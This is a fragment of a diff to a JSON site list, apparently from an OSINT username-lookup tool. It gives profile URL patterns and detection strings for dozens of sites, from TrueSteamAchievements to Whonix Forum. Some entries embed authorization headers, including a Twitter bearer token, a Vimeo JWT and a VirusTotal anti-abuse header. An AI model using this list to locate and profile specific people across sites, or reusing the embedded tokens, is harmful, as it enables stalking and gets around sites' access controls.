"status_code", + "alexaRank": 110281, + "urlMain": "https://truesteamachievements.com", + "url": "https://truesteamachievements.com/gamer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truthbook": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "us" + ], + "engine": "phpBB", + "alexaRank": 551363, + "urlMain": "https://truthbook.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TryHackMe": { + "tags": [ + "hacking", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Found. Redirecting to /404" + ], + "presenseStrs": [ + "heatmap-user-activity" + ], + "alexaRank": 23474, + "urlMain": "https://tryhackme.com/", + "url": "https://tryhackme.com/p/{username}", + "usernameClaimed": "ashu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tumblr": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Not found.", + ":404,", + "userAgent", + ",displayStatus:" + ], + "alexaRank": 112, + "urlMain": "https://www.tumblr.com", + "url": "https://www.tumblr.com/{username}", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "zdbimdoqyt", + "presenseStrs": [ + "profile", + " title=" + ] + }, + "Tunefind": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "Achievements" + ], + "url": "https://www.tunefind.com/user/profile/{username}", + "usernameClaimed": "baywolfmusic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tv-games": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1167240, + "urlMain": "http://tv-games.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitcasting": { + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "presenseStrs": [ + "Live History" + ], + "url": "https://twitcasting.tv/{username}", + "usernameClaimed": "2_t0_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitch": { + "tags": [ + "streaming", + "us" + ], + "urlProbe": "https://twitchtracker.com/{username}", + "checkType": "status_code", + "alexaRank": 34, + "urlMain": "https://www.twitch.tv/", + "url": "https://twitchtracker.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nitter": { + "tags": [ + "messaging" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "Error | nitter", + "The requested URL was not found on this server.", + "
" + ], + "presenseStrs": [ + "
" + ], + "mirrors": [ + "https://nitter.42l.fr/", + "https://nitter.1d4.us/", + "https://nitter.kavin.rocks/" + ], + "source": "Twitter", + "alexaRank": 48, + "urlMain": "https://nitter.net/", + "url": "{urlMain}{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123", + "disabled": true + }, + "Twitter": { + "tags": [ + "messaging" + ], + "headers": { + "sec-ch-ua": "Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"", + "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-guest-token": "1411741418192883712" + }, + "errors": { + "Bad guest token": "x-guest-token update required" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "activation": { + "method": "twitter", + "marks": [ + "Bad guest token." + ], + "url": "https://api.twitter.com/1.1/guest/activate.json", + "src": "guest_token", + "dst": "x-guest-token" + }, + "urlProbe": "https://twitter.com/i/api/graphql/ZRnOhhXPwue_JGILb9TNug/UserByScreenName?variables=%7B%22screen_name%22%3A%22{username}%22%2C%22withHighlightedLabel%22%3Atrue%7D", + "checkType": "message", + "absenceStrs": [ + " not found" + ], + "alexaRank": 48, + "urlMain": "https://www.twitter.com/", + "url": "https://twitter.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123" + }, + "Twpro.jp": { + "checkType": "message", + "absenceStrs": [ + "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002" + ], + "presenseStrs": [ + "\u304a\u3068\u306a\u308a\u3055\u3093" + ], + "url": "https://twpro.jp/{username}", + "usernameClaimed": "wsise47", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Typeracer": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Not Found" + ], + "alexaRank": 7138, + "urlMain": "https://typeracer.com", + "url": "https://data.typeracer.com/pit/profile?user={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "UMHOOPS": { + "tags": [ + "forum", + "sport", + "us" + ], + "engine": "Discourse", + "alexaRank": 332635, + "urlMain": "https://forum.umhoops.com", + "usernameClaimed": "umhoops", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uaksu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + ], + "alexaRank": 4001287, + "urlMain": "https://uaksu.forum24.ru/", + "url": "https://uaksu.forum24.ru/?32-{username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ubisoft": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 2563, + "urlMain": "https://forums-ru.ubisoft.com/", + "url": "https://forums-ru.ubisoft.com/member.php/?username={username}", + "usernameClaimed": "MrNardred", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uchportal": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 24339, + "urlMain": "https://www.uchportal.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ucoz": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 554708, + "urlMain": "https://forum.ucoz.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Udemy": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 131, + "urlMain": "https://www.udemy.com", + "url": "https://www.udemy.com/user/{username}/", + "usernameClaimed": "adammortimer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ultimate-Guitar": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 654, + "urlMain": "https://ultimate-guitar.com/", + "url": "https://ultimate-guitar.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ultrasdiary.pl": { + "checkType": "message", + "absenceStrs": [ + "UltrasDiary – Pami\u0119tnik Kibica" + ], + "presenseStrs": [ + "Mecze wyjazdowe:" + ], + "url": "https://ultrasdiary.pl/u/{username}/", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ulub.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "Muzyka (" + ], + "url": "http://ulub.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Unsplash": { + "tags": [ + "art", + "photo" + ], + "checkType": "status_code", + "alexaRank": 376, + "urlMain": "https://unsplash.com/", + "url": "https://unsplash.com/@{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Untappd": { + "tags": [ + "geosocial", + "networking", + "us" + ], + "checkType": "status_code", + "alexaRank": 24015, + "urlMain": "https://untappd.com", + "url": "https://untappd.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Usa.life": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "Please log in to like, share and comment" + ], + "url": "https://usa.life/{username}", + "usernameClaimed": "not1face", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ustream": { + "tags": [ + "eg", + "us" + ], + "checkType": "status_code", + "alexaRank": 165667, + "urlMain": "http://www.ustream.tv", + "url": "http://www.ustream.tv/channel/adam{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uvelir": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3038429, + "urlMain": "https://uvelir.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uwr1": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "http://uwr1.de", + "url": "http://uwr1.de/forum/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2712529 + }, + "VC.ru": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 2408, + "urlMain": "https://vc.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Viddler": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "profile-details" + ], + "url": "https://www.viddler.com/channel/{username}/", + "usernameClaimed": "planphilly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vine": { + "checkType": "message", + "absenceStrs": [ + "That record does not exist" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://vine.co/api/users/profiles/vanity/{username}", + "usernameClaimed": "Seks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vizjer.pl": { + "checkType": "message", + "absenceStrs": [ + "Ostatnie komentarze" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://vizjer.pl/uzytkownik/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VK": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^(?!id\\d)\\w*$", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "url": "https://vk.com/{username}", + "usernameClaimed": "smith", + "usernameUnclaimed": "blah62831" + }, + "VK (by id)": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "response_url", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "regexCheck": "^\\d+$", + "url": "https://vk.com/id{username}", + "source": "VK", + "usernameClaimed": "270433952", + "usernameUnclaimed": "2131232" + }, + "VKFaces": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 32067, + "urlMain": "https://vkfaces.com", + "url": "https://vkfaces.com/vk/user/{username}", + "source": "VK", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "VKMOnline": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 62559, + "urlMain": "http://forums.vkmonline.com", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VKruguDruzei": { + "tags": [ + "by", + "ru" + ], + "checkType": "response_url", + "alexaRank": 240272, + "urlMain": "http://vkrugudruzei.ru", + "url": "http://{username}.vkrugudruzei.ru/x/blog/all/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Voice123": { + "checkType": "message", + "absenceStrs": [ + ">[]" + ], + "presenseStrs": [ + "user_id" + ], + "url": "https://voice123.com/api/providers/search/{username}", + "usernameClaimed": "maheshsaha1992", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VSCO": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6244, + "urlMain": "https://vsco.co/", + "url": "https://vsco.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vamber": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 263174, + "urlMain": "https://vamber.ru", + "url": "https://vamber.ru/author/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vapenews": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404" + ], + "presenseStrs": [ + "\u041b\u0438\u0447\u043d\u043e\u0435" + ], + "alexaRank": 981151, + "urlMain": "https://vapenews.ru/", + "url": "https://vapenews.ru/profile/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "VegasCreativeSoftware": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "VEGAS Community" + ], + "urlMain": "https://www.vegascreativesoftware.info", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 162065 + }, + "Velomania": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 143862, + "urlMain": "https://forum.velomania.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Venmo": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 3795, + "urlMain": "https://venmo.com/", + "url": "https://venmo.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vero": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Error Page - VERO\u2122 \u2013 True Social" + ], + "alexaRank": 97361, + "urlMain": "https://vero.co", + "url": "https://vero.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vezha": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 1949047, + "urlMain": "https://vezha.com/", + "url": "https://vezha.com/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vgtimes/Games": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 17926, + "urlMain": "https://vgtimes.ru", + "url": "https://vgtimes.ru/games/{username}/forum/", + "usernameClaimed": "rfactor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VideogameGeek": { + "ignore403": true, + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 817462, + "urlMain": "https://videogamegeek.com", + "url": "https://videogamegeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Videosift": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 146177, + "urlMain": "https://videosift.com", + "url": "https://videosift.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vimeo": { + "tags": [ + "video" + ], + "activation": { + "url": "https://vimeo.com/_rv/viewer", + "marks": [ + "Something strange occurred. Please get in touch" + ], + "method": "vimeo" + }, + "headers": { + "Authorization": "jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQxMTc1NDAsInVzZXJfaWQiOm51bGwsImFwcF9pZCI6NTg0NzksInNjb3BlcyI6InB1YmxpYyIsInRlYW1fdXNlcl9pZCI6bnVsbCwianRpIjoiNDc4Y2ZhZGUtZjI0Yy00MDVkLTliYWItN2RlNGEzNGM4MzI5In0.guN7Fg8dqq7EYdckrJ-6Rdkj_5MOl6FaC4YUSOceDpU" + }, + "urlProbe": "https://api.vimeo.com/users/{username}?fields=name%2Cgender%2Cbio%2Curi%2Clink%2Cbackground_video%2Clocation_details%2Cpictures%2Cverified%2Cmetadata.public_videos.total%2Cavailable_for_hire%2Ccan_work_remotely%2Cmetadata.connections.videos.total%2Cmetadata.connections.albums.total%2Cmetadata.connections.followers.total%2Cmetadata.connections.following.total%2Cmetadata.public_videos.total%2Cmetadata.connections.vimeo_experts.is_enrolled%2Ctotal_collection_count%2Ccreated_time%2Cprofile_preferences%2Cmembership%2Cclients%2Cskills%2Cproject_types%2Crates%2Ccategories%2Cis_expert%2Cprofile_discovery%2Cwebsites%2Ccontact_emails&fetch_user_profile=1", + "checkType": "status_code", + "alexaRank": 148, + "urlMain": "https://vimeo.com", + "url": "https://vimeo.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "smbepezbrg" + }, + "Virgool": { + "disabled": true, + "tags": [ + "blog", + "ir" + ], + "checkType": "status_code", + "absenceStrs": [ + "\u06f4\u06f0\u06f4" + ], + "alexaRank": 1457, + "urlMain": "https://virgool.io/", + "url": "https://virgool.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirtualIreland": { + "tags": [ + "forum", + "ie", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 217316, + "urlMain": "https://www.virtualireland.ru", + "usernameClaimed": "Lee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirusTotal": { + "disabled": true, + "tags": [ + "in" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-tool": "vt-ui-main", + "x-vt-anti-abuse-header": "MTM0NTMxNTA3MTItWkc5dWRDQmlaU0JsZG1scy0xNjA3NDMzMzM3LjI3MQ==" + }, + "errors": { + "RecaptchaRequiredError": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "not found" + ], + "alexaRank": 5140, + "urlMain": "https://www.virustotal.com/", + "url": "https://www.virustotal.com/ui/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VitalFootball": { + "tags": [ + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 756177, + "urlMain": "https://forums.vitalfootball.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vivino": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10337, + "urlMain": "https://www.vivino.com/", + "url": "https://www.vivino.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vlmi": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 765896, + "urlMain": "https://vlmi.biz", + "usernameClaimed": "mixa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voices": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 17303, + "urlMain": "https://www.voices.com/", + "url": "https://www.voices.com/actors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voicesevas": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 202518, + "urlMain": "http://voicesevas.ru", + "url": "http://voicesevas.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgograd Forum": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 180115, + "urlMain": "https://www.forum-volgograd.ru", + "usernameClaimed": "kajuga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgogradru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "alexaRank": 1570931, + "urlMain": "http://www.volgogradru.com", + "url": "http://www.volgogradru.com/users/{username}/", + "usernameClaimed": "rezook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volkodavcaoko": { + "tags": [ + "forum", + "kz", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 790771, + "urlMain": "https://volkodavcaoko.forum24.ru", + "url": "https://volkodavcaoko.forum24.ru/?32-{username}", + "usernameClaimed": "itaka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Votetags": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + " looking for. Perhaps searching can help.", + "", + "Page not found" + ], + "alexaRank": 39522, + "urlMain": "https://www.votetags.info/", + "url": "https://www.votetags.info/author/{username}/", + "usernameClaimed": "danphillip", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vsemayki": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 38002, + "urlMain": "https://www.vsemayki.ru/", + "url": "https://www.vsemayki.ru/designer/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Vxzone": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 147726, + "urlMain": "https://www.vxzone.com", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3challs": { + "tags": [ + "tn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>404 Page not found \u2013 W3Challs Hacking Challenges" + ], + "alexaRank": 641078, + "urlMain": "https://w3challs.com/", + "url": "https://w3challs.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3Schools": { + "tags": [ + "education", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.w3schools.com/", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{username}", + "usernameClaimed": "rly0nheart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W7forums": { + "engine": "XenForo", + "alexaRank": 594741, + "urlMain": "https://www.w7forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "WOW Circle": { + "tags": [ + "forum", + "it", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 74356, + "urlMain": "https://forum.wowcircle.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wakatime": { + "tags": [ + "ng", + "ve" + ], + "checkType": "status_code", + "alexaRank": 43749, + "urlMain": "https://wakatime.com", + "url": "https://wakatime.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wanelo": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 29466, + "urlMain": "https://wanelo.co/adam", + "url": "https://wanelo.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warface": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://wf.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warhammergames": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1175634, + "urlMain": "https://warhammergames.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warrior Forum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 2772, + "urlMain": "https://www.warriorforum.com/", + "url": "https://www.warriorforum.com/members/{username}.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Watchmemore.com": { + "checkType": "message", + "absenceStrs": [ + "notExists" + ], + "presenseStrs": [ + "displayName" + ], + "url": "https://api.watchmemore.com/api3/profile/{username}/", + "usernameClaimed": "medroxy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wattpad": { + "tags": [ + "reading", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "userError-404" + ], + "alexaRank": 805, + "urlMain": "https://www.wattpad.com/", + "url": "https://www.wattpad.com/user/{username}", + "usernameClaimed": "Dogstho7951", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waveapps": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "status_code", + "alexaRank": 2044, + "urlMain": "https://community.waveapps.com", + "url": "https://community.waveapps.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waypoint": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.waypoint.vice.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1734, + "disabled": true + }, + "Waytothelight": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://waytothelight.mybb.ru/", + "url": "https://waytothelight.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lana", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 40212 + }, + "We Heart It": { + "disabled": true, + "tags": [ + "blog", + "in", + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! You've landed on a moving target!" + ], + "alexaRank": 4097, + "urlMain": "https://weheartit.com/", + "url": "https://weheartit.com/{username}", + "usernameClaimed": "ventivogue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weasyl": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 314161, + "urlMain": "https://www.weasyl.com", + "url": "https://www.weasyl.com/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WebNode": { + "tags": [ + "cz", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46908, + "urlMain": "https://www.webnode.cz/", + "url": "https://{username}.webnode.cz/", + "usernameClaimed": "radkabalcarova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weblancer": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 35189, + "urlMain": "https://www.weblancer.net", + "url": "https://www.weblancer.net/users/{username}/", + "usernameClaimed": "alraa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weburg": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "»," + ], + "alexaRank": 167944, + "urlMain": "https://weburg.net", + "url": "https://weburg.net/search?where=10&search=1&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weedmaps": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Find Marijuana Dispensaries, Brands" + ], + "alexaRank": 7929, + "urlMain": "https://weedmaps.com", + "url": "https://weedmaps.com/brands/{username}", + "usernameClaimed": "adams", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 3611, + "urlMain": "https://www.weforum.org", + "url": "https://www.weforum.org/people/{username}", + "usernameClaimed": "adam-leismark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wego.social": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found!" + ], + "presenseStrs": [ + "Following</span>" + ], + "url": "https://wego.social/{username}", + "usernameClaimed": "Lisa_M_S", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weld": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3040233, + "urlMain": "https://weld.in.ua", + "url": "https://weld.in.ua/forum/member.php/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Whonix Forum": { + "tags": [ + "forum", + "in", + "ir", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 254571, + "urlMain": "https://forums.whonix.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + 